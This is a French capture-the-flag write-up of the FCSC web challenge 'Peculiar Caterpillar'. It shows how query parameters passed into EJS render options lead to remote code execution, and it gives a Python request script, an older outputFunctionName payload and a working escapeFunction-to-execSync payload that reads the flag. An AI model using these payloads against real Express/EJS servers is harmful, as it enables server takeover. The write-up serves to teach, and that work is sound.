Solution de vozec pour Peculiar Caterpillar

web NodeJS

14 novembre 2023

Introduction

Les sources de ce challenge sont fournies :

public
├── docker-compose.yml
├── Dockerfile
└── src
    ├── index.js
    ├── package.json
    ├── views
    │└── index.ejs
    └── yarn.lock

On retrouve 2 choses intéressantes dans ces fichiers:

Le premier fichier est un serveur codé en nodejs:

require("express")().set("view engine", "ejs").use((req, res) => res.render("index", { name: "World", ...req.query })).listen(3000);

Le second est une template html pour le moteur de template ejs:

...
<body>
    <main>
      <div id="bubble">Hello <%= name %></div>
    </main>
  </body>
...

Première approche du challenge.

Le serveur renvoie notre name passé en paramètre de la requète GET;

res.render("index", { name: "World", ...req.query })

Ainsi nous obtenons la page suivante sur https://peculiar-caterpillar.france-cybersecurity-challenge.fr/?name=vozec:

Regardons maintenant comment fonctionne le code de ejs ici

On a à la ligne 415:

exports.render = function (template, d, o) {
  var data = d || utils.createNullProtoObjWherePossible();
  var opts = o || utils.createNullProtoObjWherePossible();

  // No options object -- if there are optiony names
  // in the data, copy them to options
  if (arguments.length == 2) {
    utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
  }

  return handleCache(opts, template)(data);
};

D’après l’article de mizu, la fonction createNullProtoObjWherePossible ne semble pas vulnérable à des attaques SSPP sur les nouveaux objets crées.

From SSPP to RCE.

Comme expliqué dans ce même article, nous devons nous intéresser à cette fonction qui a pour but de compiler une fonction pour évaluer la template html:

compile: function () {
    /** @type {string} */
    var src;
    /** @type {ClientFunction} */
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    /** @type {EscapeCallback} */
    var escapeFn = opts.escapeFunction;
    /** @type {FunctionConstructor} */
    var ctor;
    /** @type {string} */
    var sanitizedFilename = opts.filename ? JSON.stringify(opts.filename) : 'undefined';

   ...

   if (opts.compileDebug) {
      src = 'var __line = 1' + '\n'
        + '  , __lines = ' + JSON.stringify(this.templateText) + '\n'
        + '  , __filename = ' + sanitizedFilename + ';' + '\n'
        + 'try {' + '\n'
        + this.source
        + '} catch (e) {' + '\n'
        + '  rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
        + '}' + '\n';
    }
    else {
      src = this.source;
    }

    if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }
  ...
}

Ce second article nous présente une ancienne méthode pour RCE dans cette fonction. En effet, ce code ci était présent:

prepended +=
    '  var __output = "";\n' +
    '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

Il suffisait alors d’injecter dans opts.outputFunctionName ce type de payload pour avoir une rce directe:

var x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s= __append;

Ce code n’est plus d’actualité mais aujourd’hui nous avons ceci:

if (opts.client) {
  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
  if (opts.compileDebug) {
    src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
  }
}

Il se trouve que si opts.client est passé à True, notre paramètre escapeFn est placé dans la définition de la fonction escapeFn. Cette fonction étant appelée pour tous nos paramètres. Il serait intéressant de re-définir cette fonction pour qu’elle exécute son premier argument.

Nous devons donc:

J’ai écris ce script pour envoyer efficacement mes paramètres au serveur:

import requests
import html

url = 'https://peculiar-caterpillar.france-cybersecurity-challenge.fr'

def send(param):
    uri = '%s?%s'%(url,param)
    print('[+] Url params:')
    print('\t%s'%(param))
    print('[+] Final url: %s'%(uri))
    r = requests.get(uri).text
    try:
        r = html.unescape(r.split('div id="bubble">')[1].split('</div>')[0])
    except:
        r = html.unescape(r)
    return '\n[+] Result:\n\t%s'%(r)

param = f'''
param1=value1
...
name=vozec
'''[1:-1]

param = '&'.join(param.split('\n'))
print(send(param))

On peut aller chercher l’objet viewOpts en utilisant la clé view options pour modifier la configuration. On va ici remplacer escapeFunction par la fonction execSync présente dans le module child_process. (on ajoute ;// pour commenter le reste de la ligne)

param = f'''
debug=true
settings[view%20options][client]=true
settings[view%20options][escapeFunction]=global.process.mainModule.require('child_process').execSync;//
name=cat flag*
'''[1:-1]

Résultat:

[+] Url params:
    debug=true&settings[view%20options][client]=true&settings[view%20options][escapeFunction]=global.process.mainModule.require('child_process').execSync;//&name=cat flag*
[+] Final url: https://peculiar-caterpillar.france-cybersecurity-challenge.fr?debug=true&settings[view%20options][client]=true&settings[view%20options][escapeFunction]=global.process.mainModule.require('child_process').execSync;//&name=cat flag*

[+] Result:
    Hello FCSC{232448f3783105b36ab9d5f90754417a4f17931b4bdeeb6f301af2db0088cef6}

Réferences: